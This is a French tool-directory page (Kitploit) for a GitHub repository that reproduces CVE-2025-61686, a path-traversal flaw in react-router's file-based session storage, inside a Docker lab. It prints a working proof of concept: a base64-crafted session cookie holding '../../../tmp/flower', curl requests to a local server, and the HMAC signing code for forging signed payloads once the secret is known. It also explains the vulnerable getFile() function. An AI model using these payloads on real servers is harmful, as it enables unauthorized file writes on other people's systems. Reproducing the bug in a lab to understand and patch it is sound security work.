Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-61686_docker — CVE-2025-61686复现的dockerfile与poc | Kitploit
Outils/GitHubGitHub/flowerwitch/cve-2025-61686_docker
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubflowerwitch/cve-2025-61686_docker

CVE-2025-61686_docker

CVE-2025-61686复现的dockerfile与poc

Voir le dépôt
1il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-61686_docker

Démarrage

  1. construction
root@kitploit:~
docker-compose up --build
  1. démarrage
root@kitploit:~
docker-compose up

Procédure de reproduction

  1. Construire une session conforme aux conditions de traversée
root@kitploit:~
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 
  1. Placer la session construite dans le Cookie et envoyer la requête
root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
  1. Vérification
root@kitploit:~
root@de14139fdebf:/app# ls /tmp
flower

Cause de la vulnérabilité

En comparant les versions vulnérables 7.9.3 et 7.9.4, on peut constater que la cause principale est un problème dans le traitement de la session au niveau de la fonction getFile() du fichier react-router/packages/react-router-node/sessions/fileStorage.ts.

root@kitploit:~
export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

Ici, les 4 premiers caractères de la session sont utilisés comme nom de dossier, et les caractères suivants comme nom de fichier. Ainsi, un attaquant peut facilement réaliser une traversée de chemin en utilisant la méthode suivante, ce qui explique pourquoi l'avis de vulnérabilité indique que lorsque la session n'utilise pas de secret, il est aisé d'effectuer une traversée de répertoire. Bien sûr, si l'attaquant parvient à obtenir le secret utilisé pour chiffrer la session, il peut également construire la charge utile de traversée correspondante.

root@kitploit:~
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

Exploitation avec secret connu

Si l'on a obtenu le secret, on peut se référer à la fonction sign() pour signer le poc avec le secret.

root@kitploit:~
export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};
image

Envoyer la requête avec la session générée

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

Confirmer le déclenchement de la vulnérabilité

root@kitploit:~
root@eb8750bd4a56:/tmp# ls
flowerwitch

Script de génération de signature use_secret_create_payload.js

Télécharger l’outil